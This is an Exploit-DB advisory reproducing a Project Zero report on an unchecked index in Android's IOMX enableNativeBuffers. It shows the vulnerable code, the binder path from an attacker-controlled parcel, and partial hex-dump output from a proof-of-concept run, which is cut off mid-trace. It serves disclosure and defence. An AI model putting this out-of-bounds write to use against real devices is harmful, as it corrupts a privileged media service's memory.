Exploit-DB #40876
Description: Google Android - 'IOMXNodeInstance::enableNativeBuffers' Unchecked Index
Type: dos
Platform: android
Date: 2016-12-06
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=932

The code in IOMXNodeInstance.cpp that handles enableNativeBuffers uses port_index without validation, leading to writing the dword value 0 or 1 at an attacker controlled offset from the IOMXNodeInstance structure.

The vulnerable code is here (every write to mSecureBufferType):

status_t OMXNodeInstance::enableNativeBuffers(
        OMX_U32 portIndex, OMX_BOOL graphic, OMX_BOOL enable) {
    Mutex::Autolock autoLock(mLock);
    CLOG_CONFIG(enableNativeBuffers, "%s:%u%s, %d", portString(portIndex), portIndex,
                graphic ? ", graphic" : "", enable);
    OMX_STRING name = const_cast<OMX_STRING>(
            graphic ? "OMX.google.android.index.enableAndroidNativeBuffers"
                    : "OMX.google.android.index.allocateNativeHandle");

    OMX_INDEXTYPE index;
    OMX_ERRORTYPE err = OMX_GetExtensionIndex(mHandle, name, &index);

    if (err == OMX_ErrorNone) {
        EnableAndroidNativeBuffersParams params;
        InitOMXParams(&params);
        params.nPortIndex = portIndex;
        params.enable = enable;

        err = OMX_SetParameter(mHandle, index, &params);
        CLOG_IF_ERROR(setParameter, err, "%s(%#x): %s:%u en=%d", name, index,
                      portString(portIndex), portIndex, enable);
        if (!graphic) {
            if (err == OMX_ErrorNone) {
                mSecureBufferType[portIndex] =
                    enable ? kSecureBufferTypeNativeHandle : kSecureBufferTypeOpaque;
            } else if (mSecureBufferType[portIndex] == kSecureBufferTypeUnknown) {
                mSecureBufferType[portIndex] = kSecureBufferTypeOpaque;
            }
        }
    } else {
        CLOG_ERROR_IF(enable, getExtensionIndex, err, "%s", name);
        if (!graphic) {
            // Extension not supported, check for manual override with system property
            // This is a temporary workaround until partners support the OMX extension
            char value[PROPERTY_VALUE_MAX];
            if (property_get("media.mediadrmservice.enable", value, NULL)
                && (!strcmp("1", value) || !strcasecmp("true", value))) {
                CLOG_CONFIG(enableNativeBuffers, "system property override: using native-handles");
                mSecureBufferType[portIndex] = kSecureBufferTypeNativeHandle;
            } else if (mSecureBufferType[portIndex] == kSecureBufferTypeUnknown) {
                mSecureBufferType[portIndex] = kSecureBufferTypeOpaque;
            }
            err = OMX_ErrorNone;
        }
    }

    return StatusFromOMXError(err);
}

This code is reached from the binder interface android.hardware.IOMX in the mediaserver process; via the following code in IOMX.cpp which reads the port_index directly from the incoming parcel without any validation.

       case ENABLE_NATIVE_BUFFERS:
        {
            CHECK_OMX_INTERFACE(IOMX, data, reply);

            node_id node = (node_id)data.readInt32();
            OMX_U32 port_index = data.readInt32();
            OMX_BOOL graphic = (OMX_BOOL)data.readInt32();
            OMX_BOOL enable = (OMX_BOOL)data.readInt32();

            status_t err = enableNativeBuffers(node, port_index, graphic, enable);
            reply->writeInt32(err);

            return NO_ERROR;
        }

Running the attached proof-of-concept on a Nexus 5x yields the following output:

--- binder OMX index-out-of-bounds ---
[0] opening /dev/binder
[0] looking up media.player
0000: 00 . 01 . 00 . 00 . 1a . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 6f o 00 . 73 s 00 . 2e . 00 . 49 I 00 .
0032: 53 S 00 . 65 e 00 . 72 r 00 . 76 v 00 . 69 i 00 . 63 c 00 . 65 e 00 . 4d M 00 .
0048: 61 a 00 . 6e n 00 . 61 a 00 . 67 g 00 . 65 e 00 . 72 r 00 . 00 . 00 . 00 . 00 .
0064: 0c . 00 . 00 . 00 . 6d m 00 . 65 e 00 . 64 d 00 . 69 i 00 . 61 a 00 . 2e . 00 .
0080: 70 p 00 . 6c l 00 . 61 a 00 . 79 y 00 . 65 e 00 . 72 r 00 . 00 . 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
  target [PII_REDACTED]  cookie [PII_REDACTED]  code 00000000  flags 00000000
  pid        0  uid     1000  data 24  offs 8
0000: 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 01 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
0016: 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
  - type 73682a85  flags 0000017f  ptr [PII_REDACTED]  cookie [PII_REDACTED]
[0] got handle 00000001
[0] creating an OMX
0000: 00 . 01 . 00 . 00 . 21 ! 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 6d m 00 . 65 e 00 . 64 d 00 . 69 i 00 .
0032: 61 a 00 . 2e . 00 . 49 I 00 . 4d M 00 . 65 e 00 . 64 d 00 . 69 i 00 . 61 a 00 .
0048: 50 P 00 . 6c l 00 . 61 a 00 . 79 y 00 . 65 e 00 . 72 r 00 . 53 S 00 . 65 e 00 .
0064: 72 r 00 . 76 v 00 . 69 i 00 . 63 c 00 . 65 e 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
  target [PII_REDACTED]  cookie [PII_REDACTED]  code 00000000  flags 00000000
  pid        0  uid     1013  data 24  offs 8
0000: 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 02 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
0016: 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
  - type 73682a85  flags 0000017f  ptr [PII_REDACTED]  cookie [PII_REDACTED]
[0] got handle 00000002
[0] creating node
0000: 00 . 01 . 00 . 00 . 15 . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 68 h 00 . 61 a 00 . 72 r 00 . 64 d 00 .
0032: 77 w 00 . 61 a 00 . 72 r 00 . 65 e 00 . 2e . 00 . 49 I 00 . 4f O 00 . 4d M 00 .
0048: 58 X 00 . 00 . 00 . 4f O 4d M 58 X 2e . 67 g 6f o 6f o 67 g 6c l 65 e 2e . 67 g
0064: 73 s 6d m 2e . 64 d 65 e 63 c 6f o 64 d 65 e 72 r 00 . 00 . 85 . 2a * 62 b 73 s
0080: 7f . 01 . 00 . 00 . 41 A 41 A 41 A 41 A 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
0096: 00 . 00 . 00 . 00 .
BR_NOOP:
BR_INCREFS:
  0x7fe5862df8, 0x7fe5862e00
BR_ACQUIRE:
  0x7fe5862e0c, 0x7fe5862e1